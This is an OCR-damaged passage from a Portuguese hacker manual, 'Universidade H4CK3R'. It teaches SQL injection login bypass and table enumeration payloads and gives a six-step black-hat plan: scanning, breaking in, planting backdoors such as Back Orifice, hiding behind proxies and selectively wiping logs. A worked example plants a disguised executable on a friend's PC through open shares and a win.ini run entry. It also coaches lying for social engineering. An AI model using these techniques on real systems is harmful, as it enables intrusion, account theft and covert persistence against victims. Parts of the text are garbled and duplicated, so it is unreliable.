O que esse comando faz mandar para o banco de dados um comando SQLpara listartodos os usurios que contenham o login e a senha informados. Por exemplo, se um internauta digitar,como login e senha,"junior"e "fabio",a string SQLficaria assim: SELECT login, senha, nome, admin FROM tabela_usuarios WHERE login = 'junior' AND senha = 'fabio' Trocando em midos, esse comando solicitar ao banco de dados uma lista com todos os registros cujo campo login for junior e o campo senha seja fabio. Em um sistema bem-feito, no haver nomes de login repetidos, logo o banco vai retornar os dados do usurio, se ele existir. Compare o comando ASP e o comando SQLpuro. No primeiro, aspas duplas separam o que uma string pura do que comando ASP. As aspas simples so consideradas parte da string pura. Como podemos perceber, os valores atribudos aos campos login e senha esto entre aspas simples. Hummm... E se eu colocar, no meio do meu login, uma aspa simples tambm (por exemplo, jun 'ior)? O comando SQL resultante ser: SELECT login, senha, nome, admin FROM tabela_usuarios WHERE login = 'jun'ior' AND senha = 'fabio' O SQL considerar o nome de login como apenas jun e o resto do nome, ior, como parte do comando SQL. IOR no um comando SQL vlido, portanto a pgina retomar um erro. justamente esse erro que, mais para frente, nos dir qual a estrutura da tabela. Por ora, vamos us-Io para inserir mais comandos SQL no campo de login. Experimente, no login, inserir a seguinte string
, OR 1=1

- -

e veja o que acontece. Possivelmente voc se logou como administrador!!! Vamos analisar como essa feitiaria funciona na string SQL: SELECT login, senha, nome, admin FROM tabela_usuarios WHERE login = " OR 1=1 -- AND senha = " Traduzindo a string para o portugus (isso sempre facilita...): "SELECIONE os campos login, senha, nome, admin DA TABELAtabela_usuarios EM QUE o
login seja vazio (' ') ou a condio 1 = 1 seja verdadeira". Queee? 1 = I? Essa condio SEMPRE verdadeira, portanto, o usurio magicamente est

12071
1

Vulnerabilidades

11

I Universidade

H4CK3R I

logado no sistema!!! A senha nunca ser consultada validada, pois todo o resto da string (AND senha =' ') est comentado com os dois travesses. Se voc j souber o nome de usurio de uma pessoa e quiser acessar o sistema com seu login, basta colocar a string mgica no campo senha. Ou comentar o campo de login, aps entrar com o usurio. Por exemplo, se voc sabe que o login de sua me neidem, tente: login: neidem'-senha: <vazio> ou login: neidem senha:' OR 1=1 Algumas vezes necessrio colocar' OR 1=1 tambm no campo senha, em vez de comentar com travesses o final do campo login. Outro caso em sites pblicos com cadastros numerosos. Podemos colocar a string mgica no campo login e "chutar" uma senha qualquer. O comando SQL vai puxar todos os usurios que tiverem aquela senha, e voc se logar no primeiro deles. Use suas listas de palavras (lembra-se do captulo 7?) e entre seguramente. Voc encontrar diversas duplas nome/senha. Com um pouco de organizao, voc poder fazer uma lista dos nomes e senhas vlidos no site e usar "um pouco de cada", dificultando o rastreamento das contas invadidas. Brinque bastante com os sites escolhidos para vtima - sites com MS SQL e ASP so presas perfeitas. Com seus conhecimentos de PHP e MySQL,monte um site para experincias e insira todos os comandos SQL que voc conseguir lembrar. Bem, agora que j conseguimos entrar, que tal descobrir como a tabela est montada? Lembre-se de que estamos completamente cegos at agora. Um comando conhecido de SQL o HAVlNG, que permite selecionar grupos de campos que possuam um padro especfico. Coloque, no campo de login, a string , having 1=1 - - e observe o resultado. Cada gerenciador de banco de dados emitir erros diferentes, mas em comum eles tero uma mensagem parecida com essa: Column 'userid' on table 'mainsite' is invalid on the selected list ... Opa! O banco de dados alegremente nos presenteou com o nome da tabela, mainsite e o nome do primeiro campo da tabela, userid. Alguns bancos de dados retomariam o valor desse campo em formato orientado a objetos, algo como mainsite.USERID. No importa, j temos dois dados importantes. Mais para frente, a mensagem provavelmente mencionar que no h uma clusula GROUP BY no comando. Bem, vamos adicionar tal clusula e ver no que d: Usuario: ' GROUP BY mainsite.USERID having 1=1 -Cruzes! Olhe a resposta do site: Column 'userlogin' on table 'mainsite' is invalid on the selected list ... J sabemos o nome do segundo campo!!! Tentemos de novo: U~o:' GROUPBY mainsite.USERID, mainsite.USERLOGIN having 1=1 --

1208 I
Vulnerabilidades 11 [

Universidade 2 Ano

A resposta

Column 'username' on table 'mainsite' is invalid on the selected list ... Continue sua pesquisa usando esse mtodo. Quando no houver mais mensagens de erro, voi1,voc possui todos os campos da tabela. Agora, vamos recuperar as linhas da tabela, ou seja, os registros de cada usurio. Vamos usar o comando SQL UNION:
Usuario: ' UNION ALL SELECT

userid

FROM

rnainsite WHERE

1=1

--

Preciso explicar? O valor de userid retomado na mensagem. Faa isso com todos os campos. Obviamente, se o script for bem escrito, esses artifcios no funcionaro. Muitas vezes o script bem-feito e testar os campos procura de caracteres maliciosos ANTES de mand-Ios ao comando SQL. Nesses casos voc no conseguir entrar, mas ainda pode ter uma indicao na mensagem de erro do site sobre os nomes dos campos, da tabela e da base de dados. Anote TUDO e tente fazer um diagrama. Uma espiadela no que retomado na URL tambm uma boa... Isso apenas o bsico do bsico sobre SQL Injection. Para saber mais sobre o assunto, recomendamos a leitura do excelente livro Segurana contra Hackers - Aplicaes WEB, de Scambray e Shema (Editora Futura/McGraw-Hill, 394 pginas). Uma pesquisa no Google pelas palavras "SQL Injection" vai retomar praticamente toda a documentao disponvel sobre o assunto.

Estamos todos vulnerveis?


Infelizmente, a resposta, em uma palavra, sim. Nossos sistemas de informao, com todos os patches, Service Packs e correes, so falhos porque foram desenvolvidos sem levar a segurana em conta. muito mais fcil plantar rvores que fazer enxertos. No podemos, nem queremos ou temos espao para demonstrar a fundo todos os tipos de vulnerabilidades existentes. O captulos 7, Vulnerabilidades I, e este serviram apenas para que voc tome contato com algumas tcnicas esparsas sobre o assunto. Nos prximos captulos, daremos uma viso mais clara de como se planeja um ataque, como se defender deles e o que fazer caso seja invadido. Falando em contra-ataque, recentemente foi lanado um "brinquedo" que caa e destri os hackers que o invadiram. Acesse www.backfiresecurity.co.uk e saiba mais sobre ele.

12091
I

Vulnerabilidades

11

Universidade 3 Ano: Tornando-se um Hacker

Ataque, defesa e contra-ataque:

Introduco .
Captulo
L./ come fece Romolo, il capoccione

10
o comunque se chiamasse

de quei tipacC/; a procurar donne a se e ai suoi compani. Indisse una grande festa, 1.../ e invit a prendervi parte i vicini di casa sabinil.../

cal loro re, Tito Tazio, e sopratutto le loro figlie': 1 Indro Montanelli, "Storia di Roma", 1957

1 "C.') como fez Rmulo, ou como quer que se chamasse o chefe daqueles caras, para conseguir mulheres para si e para seus companheiros. Deu uma grande festaC.,) e convidou seus vizinhos, os sabinos C.') que trouxeram seu rei, Tito Tcio, e sobretudo suas filhas C.')" Um excelente exemplo de engenharia social daquela poca. A fase de planejamento dessa festa algo digno de leitura.

Universidade 3 Ano: Tornando-se um Hacker

Ataque, defesa e contra-ataque:

Introduco .
Captulo
"f.../

10
donne a se e ai suoi

come fece Romolo, o comunque se chiamasse


de quei tipacci, a procurar

il capoccione

compani. Indisse una grande festa, LI e invit a prendervi parte i vicini di casa sabinil.../

col loro re, Tito Tazio, e sopratutto le loro fig/ie ".' Indro Montanelli. "Storia di Roma". 1957

1 "(...) como fez Rmulo, ou como quer que se chamasse o chefe daqueles caras, para conseguir mulheres para si e para seus companheiros. Deu uma grande festa(...) e convidou seus vizinhos, os sabinos (...) que trouxeram seu rei, Tito Tcio, e sobretudo suas filhas (...)" Um excelente exemplo de engenharia social daquela poca. A fase de planejamento dessa festa algo digno de leitura.

I Universidade

H4CK3R

Chegamos parte crucial de nosso curso. At aqui vimos diversas tcnicas pontuais e especficas de ataque, usando ferramentas prontas ou baseadas em conceitos muito rudimentares. Fora o exposto en passant nos captulos de Vulnerabilidades I e 11,no foi mostrada nenhuma estratgia ou planejamento. Fazendo uma analogia com o mundo real, ensinamos a apertar parafusos, a estampar peas em ao, a projetar circuitos eltricos, a instalar som automotivo e a fabricar pneus e peas plsticas a partir de derivados de petrleo. Mas no ensinamos como montar o automvel. A partir de agora, comearemos a ver as coisas de forma mais sistemtica, seguindo uma ordem lgica e fundamentando todos os procedimentos com informaes a respeito das tecnologias en40lvidas. EM TEMPO: para fins didticos, consideramos que o leitor quer se tornar um black hat e direcionamos o texto para esse objetivo. Entretanto, os autores repudiam isso e eximem-se de responsabilidade de qualquer ato decorrente das informaes aqui contidas, e seu uso de inteira responsabilidade do leitor. Lembramos que estas informaes esto livremente disponveis na Internet e podem ser facilmente encontradas.

Os seis passos para um hacking feliz


Seis?No eram quatro? No captulo 7 (Vulnerabilidades1),descrevemos um pequeno roteiro para planejamento e execuo de ataques, que reproduzimos abaixo: 1. Uma vez descoberta a vulnerabilidade, no tente invadir sua presa imediatamentejAo contrrio, conhea sua vtima. Visite seu site na Internet (sem atacar, apertas olhe). Se for na sua cidade, visite sua sede e tente descobrir mais sobre produtos, empregos, servios, funcionrios, hbitos... Podem-se usar tcnicas passivas (observao: para ver o que entra e o que sai da mquina ou rede) ou ativas, como organizar miniataques a pontos isolados e verificar as mensagens que so retomadas. O importante coletar informaes suficientes para elaborar um plano de ao, preferencialmente com desfechos alternativos caso algo d errado. 2. O primeiro acesso a gente nunca esquece. Essa a parte mais importante do ataque. Pode-se dizer que esta etapa o ataque propriamente dito. Depois de descoberta a vulnerabilidade e examinado o comportamento da vtima, use o exploit apropriado para ganhar acesso limitado ao sistema. E no se esquea de usar um proxy pblico para esconder seu endereo IP!!!

3. Humm. Uma vez com acesso limitado, a prxima etapa consiste em ganhar
acesso total mquina (root para sistemas Unix, administrador para sistemas
WinNT

- no Win9x, o primeiro

acesso j garante

controle

total...). Cada SO

possui procedimentos diferentes para tal. Uma vez conseguido o acesso irrestrito, basta coletar as informaes desejadas e, se for o caso, desfigurar o sistema.

2141
Ataque, defesa e contra-ataque: Introduo I

Universidade 3 Ano

4. Agora que voc j "ownou" o sistema, trate de cobrir seus rastros e instalar as portas de trs. Verifique os logs do sistema e apague tudo o que for relativo sua visita, MASAPENAS ISSO! Resista tentao de apagar o log todo - um "buraco" no registro de eventos far com que o administrador descubra mais cedo do que o esperado que algum andou bulindo com seu brinquedo. Depois de fazer a cirurgia nos logs, instale os backdoors. Alguns hackers mais experientes tm o cuidado de aplicar patches no sistema para remover as portas que o deixaram entrar, evitando assim que outros hackers menos habilidosos entrem no sistema e, por descuido, alertem o administrador de que a mquina foi tomada. Mas neste ponto do livro, nosso objetivo no mais agir como script kiddies, que vagam pela Internet procurando por presas fceis que saibam caar. Ao contrrio, queremos ter uma idia de como black hats, digamos, "profissionais" trabalham para alcanar seus objetivos em um alvo especfico, qualquer que seja seu nvel de dificuldade. Para tanto, vamos tentar separar, por afinidade, nossos esforos em seis passos distintos. Como guerra o assunto do momento, usaremos termos militares para nos referir a cada um deles. Talvez as cruzadas, as guerras do Paraguai, Vietn, Meganisto, os conflitos na Palestina ou at mesmo a Guerra no Golfo 2 tenham passado. Mas os cybercombates entre hackers/crackers e administradores de sistemas vo durar muitos anos, talvez sculos. ~ Passo 1: Planejamento Hummm, difcil dizer se este realmente o passo 1. Na verdade, todos os passos so interdependentes: precisamos das informaes obtidas em cada movimento que fazemos para poder planejar (e corrigir) adequadamente nosso ataque. A seqncia de atividades ser, portanto, algo parecido com 1-2-1-31-4-1-5-1-6-1, em vez da bvia 1-2-3-4-5-6. Como todo plano precisa de ajustes e como quase toda tarefa pode ser subdividida em vrias mais especficas, podemos perceber que o processo de planejamento ser contnuo durante toda a batalha e durar at bem depois da fmalizao do ataque. Cada pequeno detalhe do ataque tem seu prprio plano 1-2-1-3-1-4-1-5-1-6-1. Se voc no documentar muito bem cada um dos passos que tem a fazer, acabar com um bocado grande demais para mastigar sem estalar a boca. E no esquea: formas de esconder as provas do crime tambm fazem parte do planejamento! No basta saber o que est fazendo. necessrio saber por que est fazendo. Se voc tem uma resposta na ponta da lngua quando perguntado "ei, por que voc quer invadir minha empresa?" pode seguir em frente. Mas no se esquea de que, uma vez dentro, voc ser rastreado. Se voc j sabe o que quer fazer quando estiver entre os muros do castelo, timo. Se no sabe, no tente! E no esquea que, dependendo de seus intentos, voc estar incorrendo em algum crime. 12151

] Ataque, defesa

e contra-ataque:

Introduo

I Universidade H4CK3R I

~ Passo 2: Observao Toda operao militar, seja governamental ou dos rebeldes, precisa estar embasada em informaes precisas e detalhadas sobre o alvo. O conjunto de dados necessrios incluem diversos subconjuntos aparentemente no relacionados: detalhes pessoais, como hbitos, habilidades profissionais, passatempos, famlia, amigos, antigas namoradas; informaes corporativas, hierarquia interna, clientes/concorrentes/fornecedores, dados sobre os sistemas de informao... Do monstro de dados obtido, h ainda a necessidade de garimpar informaes no disponveis diretamente, fazer referncias cruzadas e, literalmente, "ler nas entrelinhas". Vrias tcnicas podem ser usadas aqui. A mais bvia e eficaz (embora menos direta e mais perigosa) a Engenharia Social. Mas mesmo sem contar mentira alguma, possvel coletar uma coleo razovel de informaes obtidas da Internet ou de observao direta. No se afobe: pacincia a palavra-chave aqui. ~ Passo 3: Busca Com os planos, mapas e a lista de tarefas na mo, podemos comear a procurar os buracos pelos quais vamos entrar. Um arsenal numeroso e variado de scanners de portas e vulnerabilidades deve estar disposio para que todos os pontos fracos sejam revelados. Assim como no passo anterior, pacincia um dos ingredientes mais importantes desta etapa. Mas no o nico. No basta usar uma ferramenta que revele o furo de segurana se voc no entende como ela funciona. ~ Passo 4: Invaso H vrias maneiras de ganhar acesso ao sistema-alvo. Nos captulos Vulnerabilidades I e 11vimos algumas. Mas so tcnicas pontuais, que exploram fraquezas especficas de um sistema. A grande sacada saber agrupar as vrias tcnicas disponveis de maneira a atingir o objetivo maior. Alm disso, muitas vezes necessrio passar por vrios nveis de acesso at conseguir poderes suficientes para atingir o objetivo final do ataque. ~ Passo 5: Manuteno Nem todos os administradores de rede so completos idiotas. A maioria, na realidade, no . Uma vez detectada uma vulnerabilidade que possibilite um ataque, qualquer administrador provido de bom senso vai aplicar os patches de segurana, fechando o rombo. Se voc j invadiu uma vez por um buraco na segurana ou uma falha em algum programa, possvel que sua prxima tentativa, dias depois, seja infrutfera: a porta estar fechada. Uma vez dentro dos muros do castelo, necessrio instalar meios para que se possa entrar e sair sem ser notado, e que sejam independentes das brechas de segurana do sistema.

12161
Ataque, defesa e contra-ataque: Introduo [

Universidade 3 Ano

~ Passo 6: Evaso "J invadi, j copiei, j desfigurei, j apaguei e j destru, e ainda deixei portas secretas por onde entrar e sair sem ser incomodado. E agora, fao o qu?" Bem, pequeno gafanhoto, est na hora de apagar os rastros que voc deixou. Essa etapa comea j na preparao do ataque, escolhendo as ferramentas e procedimentos menos ruidosos, tomando cuidado para no deixar aparente que est logado no sistema e, principalmente, tentando descobrir antes de entrar se h um sistema IDS ativo. Depois de fazer o que tem de fazer (defacement, cpia de arquivos e programas, lanamento de outros ataques), apague criteriosamente suas pegadas nos arquivos de registro do sistema, tomando o cuidado de no danificar os outros dados registrados. uma falha amadorssima "limpar" demais o logoOutro cuidado que deve ser tomado j nos passos iniciais de planejamento a preveno contra sistemas de deteco de intrusos, os famigerados IDSs.

o portal
Estamos prestes a entrar no lado negro. Uma vez l, muitos ficaro tentados a no sair. um risco que todos temos de correr. Nas prximas pginas veremos, de forma detalhada, como levar a cabo cada um dos passos vistos aqui. A escolha toda sua, caro leitor.

A melhor maneira de organizar as idias pegar um pedao de papel (prefiro papel tela do computador) e rabiscar algumas coisas. As pessoas normalmente perguntam-se por onde comear, esquecendo-se de que a nica coisa que sabem aonde querem chegar. Portanto, vamos comear pelo fim. Nosso objetivo pregar uma pea em nosso amigo com um programa inofensivo e incmodo (chato, mesmo!).

PROGRAMA CHATO
12171

I Ataque, defesa e contra-ataque:

Introduo

I Universidade

H4CK3R

S esse quadro j nos suscita vrias dvidas: 1. Qual programa usaremos? 2. Como ser instalado? 3. Ser disparado por tempo ou eventos? 4.Tem tamanho mximo defmido? 5. O seu amigo entendido de computadores e vai saber o que fazer quando o programa disparar? 6. Quer que o programa diga o nome do autor da brincadeira ou que mantenha segredo at que voc ria bastante? Uma vez formuladas as perguntas iniciais (no se preocupe, outras aparecero...), temos de gastar um pouco de tempo pensando e pesquisando para respond-las. Algumas respostas plausveis poderiam ser: 1. Seu amigo torcedor fantico da Ponte Preta. Doente. Possui faixas, camisas oficiais de diversos anos autografadas pelos jogadores, scio fundador do clube... Que tal uma animao em Flash, criada por aquele seu colega webdesigner num favor muito especial, comemorando a derrota da Ponte Preta para o XV de Piracicaba? Animao em Flash? Isso quer dizer que sua vtima usa Windows, certo. Se ele usar Mac ou algum Unix isso no vai funcionar. Este um timo exemplo de como o planejamento, embora esteja indo bem, precisa de ajustes. Imagine se voc tivesse enviado a animao "na louca" e descoberto, posteriormente, que no funcionou porque seu amigo/vtima usa FreeBSD? Temos, ento, de, por meio de Engenharia Social (ou com a ajuda do Nmap,...) saber qual o sistema operacional da vtima. Por engenharia social, descobrimos que o Windows Me. 2. A instalao outro problema. Voc pode fazer seu amigo instalar a bomba para voc, basta envi-la por e-mail dizendo que um f1lminho legal. Mas a vtima desconfiada (voc j sabe disso, o conhece h anos), e no vai abrir qualquer coisa que chegue. Voc poderia elaborar um e-mail HTML com um VBScript que instalasse o programa automaticamente, mas voc teria de saber qual o cliente de e-mail que ele usa. Por engenharia social, descobrimos que ele usa o The Bat (www.ritlabs.com/the bat - os autores recomendam!!!), que premiadssimo justamente por ser imune a essas coisas. Ou ainda usar alguma vulnerabilidade do Windows. Para isso precisaramos rodar um scanner qualquer, como o Nmap. Mas no temos o IP dele, ento necessrio arranjar um artificio para descobri-lo. Voc tem de encontrar uma forma de fazer com que o Flash dispare depois de um tempo ou responda a um evento. As trs opes mais simples, sem precisar interagir a fundo com o prprio sistema operacional, so: 12181
Ataque, defesa e contra-ataque: Introduo

Universidade 30 Ano

~ Um trojan, para voc controlar a bomba remotamente; ~ O Flash ser "fundido" a um programa do sistema (como a calculadora ou o bloco de notas) para que, quando este for aberto, aquele entre em operao; ~ O prprio Flash ser rodado na inicializao e possuir um timeout de pelo menos uma hora para entrar em ao; ~ Uma combinao de todos eles. Nesses casos, quanto menor melhor, mas precisamos Passos 2 e 3: saber como a conexo do nosso amigo para determiObservaco e b ---nar o tamanho da animao. Se a vtima tiver um modem do Determinao de 33,6 K, certamente perceber se estivermos fazenambiente - Engenharia social para do um upload de uma animao Flash de 2 Mbytes... determinar SO e MUA Perguntando, voc descobre que ele assinante de um Resultado: WinME e The Bat grande provedor nacional de acesso rpido - olha , uma informao que pode ser til mais tarde... Seu amigo esperto, engenheiro eletrnico e um usurio avanado de informtica. Mesmo assim, Busca brechas por - Scan para obter falhas e no entende dos detalhes internos de software (o determinar quais usar Scanners escolhidos: Nmape negcio dele hardware) e sempre pede ajuda a voc Nessus para "calibrar" o Windows dele, quando "d pau". (quem sabe no por isso que voc, inconscientemente, est fazendo essa sacanagem?) Passo 4: Invaso De jeito nenhum! Nego at a morte! Escolha do programa-bomba Humm... se voc colocou todas essas perguntas, resChato Programa postas e ponderaes sobre as respostas em uma fo- Animao em Flash executvel lha de papel, aps algum tempo lendo e relendo o no Windows - Tema: Ponte Preta O x 1 XV de resultado, chegamos ao diagrama ao lado. Observe a Piracicaba dvida que surgiu no ltimo quadro: como invadir? No sabemos quais as vulnerabilidades existentes, pois na etapa "Busca por brechas" no tnhamos o IP da vtima para procur-la. H diversas maneiras de obter o IP de algum. Uma e Controle Camuflagem Flash comtempo de espera delas perguntando. A maioria das pessoas no vai Instalado no WIN. INI para ser escondido o bastante, mesmo desconfiar que para algo "malvado". Mas no o assim facilmente removvel caso do seu amigo. Voc costuma conversar por ICQ com ele. H alguns anos, o prprio cliente de ICQ diria o IP da outra pessoa. Hoje h a possibilidade de camuflar Passo 4: Invaso essa informao. Dependendo da verso, entretanto, Mtodo de invaso e das opes escolhidas na configurao, mesmo os mais modernos podem revelar tal informao. Isso ??????????? porque o ICQ de ambos os lados da conversa pode se conectar tanto diretamente quanto atravs de um servidor central.
-

12191
I

Ataque, defesa e contra-ataque:

Introduo

I Universidade

H4CK3R

Passos 2 e 3: Vamos fazer uma tentativa. Espere Observao e busca ele entrar on-line e inicie uma conDetenninao do ambiente Determinao do IP - Engenharia social para - ICQou MSN Messeger versao. Desligue tudo o que acessar Transferncia de arquivos determinar SOe MUA - Resultado: WinME e The Ba t Internet em seu computador: - Netstat -na I e-mail, navegadores, eMule, KaZaA, I -. MSN Messenger, deixando apenas o Busca por brechas ICQ.Troque algumas mensagens com - Scanpara obter falhas e determinar quais usar ele e pea que ele lhe envie algum ar- Scanners escolhidos: Nmap e Nessus - Resultado: C",=tilhamento de quivo razoavelmente grande (MP3, Arquivosabertos (TCP139) imagem, programa, qualquer coisa). Antes de aceitar a transferncia, abra uma janela do MS-DOS. Passo 4: Invaso Durante a transferncia, use o comando netstat -na Escolha do programa-bomba Programa Chato na janela do MS-DOS,da mesma maneira como voc - AnimaoemFlash executvel no Windows fez nos captulos de Redes 11e Vulnerabilidades 11.Na - Tema: Ponte Preta Ox 1 lista de conexes que vai aparecer, as ltimas delas '.01de Piracicaba so os IPs da sua conversao e da troca de arquivos. O IP remoto mostrado o dele. Essa dica funciona com qualquer transferncia de Camuflagem e Controle dados on-line entre os dois computadores. E-mail no - Flash comtempo de espera - Instalado no WIN. INI para ser on-line: quem transfere o servidor SMTP, no a pes- escondido o bastante, mesmo assim facilmente removvel soa que o enviou. No caso do MSN Messenger, do AOi Instant Messenger e do Yahoo! Messenger, as mensagens so sempre intermediadas pelos respectivos servidores, portanto, o netstat vai mostrar o IP do serviInternet Explorer dor Passport.NET, por exemplo... Com uma exceo: - \\IP.VTIMA - Copiar bomba para a transferncia de arquivos ainda peer-to-peer. Se o C: \ Windows Edi tar WIN. INI seu amigo usar MSN e no ICQ, pea para ele enviar -Esperar um arquivo grande. O IP dele certamente aparecer na lista do netstat com este artifcio. Agora que temos o IP da vtima, vamos escane-Ia. Usando o Nmap, descobrimos que, por descuido, nosso amigo engenheiro deixou os compartilhamentos de disco ligados e sem senhas. Nada mais simples do que abrir um Internet Explorer e digitar \\IP.DA.VITIMA.AQUI. Pronto! Voc j est na mquna dele, pode abrir e editar arquivos. Com essas alteraes, nosso diagrama j est funcional. Vamos elaborar, agora, uma lista seqencial de etapas para nosso ataque? Afmal,no podemos fazer tudo ao mesmo tempo, ento temos que organizar as coisas. Na prxima pgina est uma lista de passos. interessante de se deixe um espao abaixo de cada item, para que se possa escrever os resultados, observaes ou problemas encontrados. Os comentrios entre parnteses no fazem parte do roteiro. So apenas orientaes para que a elaborao do roteiro cumpra o objetivo pretendido.
-

1220

Ataque, defesa e contra-ataque: Introduo I

Universidade 3 Ano

PASSOS PARAHACKEAR FULANO DETAL


1. Engenharia Social: conversa informal para saber detalhes de sistema
operacional. 2. Busca: Determinao do IP com ICQ e netstat. Se o passo 1 for for feito por ICQ tambm, matamos dois coelhos. (Queimar etapas desejvel DESDEQUE no interfira na sua segurana.) 3. Escanear a vtima com Nmap e depois Nessus para verificar as vulnerabilidades. (A lista pararia aqui at que descobrssemos por onde atacar. um exemplo de 1-2-1-3-1.) 4. Descoberta a brecha de compartilhamento. Preparar arquivo com bomba para ser implantado na vtima. Flash com bomba de espera. Usar r.otinas tal e tal. (Use sempre ferramentas e linguagens que voc conhece BEM!Deslizes so fatais...) 5. Teste seu arquivo localmente. Renomeie-o para winvxd.exe. (Sempre instale um sistema operacional idntico ao da vtima. Instale programas parecidos aos dela e tente deixar sua mquina muito prxima ao que voc conseguiu descobrir das configuraes do computador invadido. Quando alguma etapa ordenar a cpia de arquivos para a vtima, renomeie-os com nomes parecidos com os do sistema). 6. [OPCIONAL]Teste os passos de nmero 7 em diante em um ambiente controlado. Depois de certificar-se da validade deste roteiro, ataque a vtima. (Opcional quase obrigatrio. Faa um ataque similar a um computador semelhante que esteja disponvel e em que voc possa verificar a validade do ataque. Um amigo hacker poderia ajud-Io nessa hora. Colaborao importantssimo nesse meio.) 7. Conectar ao computador. Use o Internet Explorer com a URL

\ \XXX. YYY.ZZZ. UUU.

(Acostume-se a colocar informaes especficas em seus roteiros, como programas a usar, opes e configuraes desses programas, endereos e portas a atacar e protocolos utilizados. No apenas passos genricos. Um ataque tem de ser rpido para ser efetivo e indetectado. Ficar procurando as opes escondidas de um programa durante a invaso pedir para ser apanhado!) 8. Copie o arquivo winvxd.exe para C:\windows. (Cuidado com arquivos muito grandes. Lentido na Internet seguida de atividade no disco rgido so eventos suspeitssimos!) 12211

I Ataque, defesa e contra-ataque:

Introduo

I Universidade

H4CK3R I

9. Abra o arquivo C:\windows\win.ini c:\ windows\ winvxd.exe.


10. Espere e ria muito!

e, na, linha

"run=",

digite

claro que nosso ataque foi sem importncia, a vtima fcil e o programabomba no muito elaborado e facilmente detectvel. Mas, ora veja, funciona! Nosso roteiro tambm bem simples, embora um ataque por meio dele j seja possvel. Mas por que no algum nvel de refmamento? Algumas idias:

~ Preparar um Back Orifice (de preferncia o B02K) e instal-Io junto com o Flash no win.ini. Mesmo que tudo seja descoberto (o win.ini restaurado e o Flash apagado), nosso backdoor vai estar no registro do Windows e, portanto, sempre ativo quando a vtima ligar o computador. ~ Por falar em registro, us-Io em vez do win.ini. Tal procedimento precisar de passos a mais, a criao de um arquivo com extenso .reg para atualizao do registro da vtima e provavelmente um conhecimento mais profundo sobre o funcionamento do mesmo (consultar captulo sobre Plataformas Windows). ~ Lugares bvios so os ltimos a serem procurados. Certa vez, algum havia feito uma brincadeira comigo. Meu MS-DOS 5 congelava no final do carregamento do Config.sys. Isso j era uma dica, mas eu ignorei. Decidido a procurar o problema em vez de reinstalar o sistema todo (j havia muitos programas, alguns dos quais precisavam ser instalados pelo pessoal do CPD), dei boot por disquete e abri o Config sys, comentando todas as linhas, uma a uma, para verificar se travavam. Nada feito. Vasculhei infrutiferamente todo o sistema procura de problemas. Depois de duas horas, decidi abrir o AUTOEXEC.BATs por desencargo de conscincia. Quase ca pra trs. No incio do arquivo, duas linhas:
@ECHO OFF C:\AUTOEXEC.BAT

No preciso

dizer mais nada...

2221
Ataque, defesa e contra-ataque: Introduo [

Universidade 3 Ano

Uma palavra final sobre planejamento


Se voc chegou at aqui e exclamou: "Puxa, mas ele no ensinou nada difcil! Que porcaria de livro!", sinto muito, mas este livro realmente no pra voc. O objetivo do captulo foi mostrar, sob o pretexto de uma invaso simples, como organizar-se para tal. Nos prximos captulos veremos os passos seguintes de nossos ataques: observao, busca, invaso, manuteno e evaso. Algumas tcnicas adicionais e locais onde encontrar mais informaes a respeito sero includos. Mas com o que temos at agora (e com um pouco de disposio para pesquisa), j possvel atacar, defender e mesmo contra-atacar quaisquer pessoas ou instituies. Os autores voltam a informar: a responsabilidade do uso destas informaes sua, no nossa. Handle with care.

12231

I Ataque, defesa e contra-ataque:

Introduo

Ataque, defesa e contra-ataque:

Observaco .
Captulo

11
'You have to be tru5ted

by the peop!e you !ied to 50 when they tum their back5 on you you have the chance to put the knife in "1

Roger Waters, "Oogs"

1 "Deves ter a confiana / das pessoas para quem mentiste / pois quando te virarem as costas / ters a chance de enfiar a faca." Do lbum AnimaIs (Pink FIoyd), de 1977.

I Universidade

H4CK3R I

A diferena entre os script kiddies e os black hats mais espertos comea nesta fase (na verdade, comea na anterior, mas muitos black hats reconhecidamente bons tambm negligenciam a fase de preparao...). Assim como quadrilhas observam bancos por meses e seqestradores acampam em frente casa de suas vtimas, atacantes digitais dignos desse nome tm de observar suas presas longamente antes de mergulhar sobre elas como falces sobre frangos-de-leite. Este captulo tratar rapidamente de algumas reas nas quais o candidato a invasor poder procurar para angariar informaes sobre as empresas, pessoas e, principalmente, seus sistemas computacionais e de conectividade. Resumindo: quer brincar na rua? Antes faa o dever de casa!

Engenharia Social
No captulo 6, tivemos um primeiro contato com a arte de mentir. Como a mentira, a impostura e a desonestidade so to antigas quanto os primeiros macacos falantes que vagavam por a, no h meios descrever todos os procedimentos possveis. No vamos, aqui, chover no molhado e repetir o que dissemos no captulo 6. Use a maldade que 100% das pessoas tm escondida por a em algum canto e desenvolva seus prprios mtodos. O que funcionou para Mitnick pode no funcionar para voc. Dicas? A vo algumas: ~ Faa aulas de teatro. Dica bvia.
~ Impostao de voz, segurana e fIrmeza so importantes. ~ Procure livros sobre programao ~ Acostume-se hbitos.. . neurolingstica.Vai Faa aulas de canto. quebrar um galho.

a olhar SEMPRE o lixo, mesmo em casa! Seja um black hat de

~ Minta para seu chefe, para sua me, para o padre em confIsso. Treine a mentira. Ela sua ferramenta mais poderosa. Nem todos os scanners do mundo podem descobrir as coisas que simples perguntas feitas com a entonao correta conseguem em cinco minutos.

No basta saber o que est fazendo. necessrio saber por que est fazendo. Se voc tem uma resposta na ponta da lngua quando perguntado" ei, por que voc quer invadir minha empresa?", pode seguir em frente. Mas no se esquea de que, uma vez dentro, voc ser rastreado. Se voc j sabe o que quer fazer quando estiver entre os muros do castelo, timo. Se no sabe, no tente! E no esquea que, dependendo de seus intentos, voc estar incorrendo em algum crime.

12261
Ataque, defesa e contra-ataque: Observao

Universidade 3 Ano

A grande teia
Posso contar nos dedos a quantidade de coisas que no achei pela Internet. Certa vez, estava ajudando minha namorada francfona a procurar algumas letras de "chansons" para inserir em uma compilao que ela estava fazendo. Uma das msicas, "a ira" (que possui diversas verses com diferentes letras), estava sendo duro de encontrar. Segue o dilogo: - No consigo achar esta aqui. -Qual ? - "a ira ", vrias gravaes, entre elas a de Edith Piaf. -J tentou no All The Web? -J, tambm no Google e no Alta Vista. -Como vc tentou? -Procurei pelo nome, s. Depois tentei nome da msica mais Edith Piaf. -Posso tentar? Normalmente, eu uso, para letras em ingls, o nome da msica, o nome do artista mais a palavra lyrics. Como letra em francs? -Parole. - Tenta a: a ira piaf parole Ela tentou e, para sua completa estupefao, encontrou vrios sites com as letras, inclusive alguns contendo referncias cruzadas, as vrias verses agrupadas e aspectos histricos e sociais ligados a elas. A Internet, no geral, e a World Wide Web em especial, so prdigas em informaes sobre sua pessoa, seja ela fsica, ou seja jurdica. Muitas delas foram colocadas l por ningum menos que voc mesmo. Seus funcionrios, se voc os tiver, tambm so grandes fontes de informao. 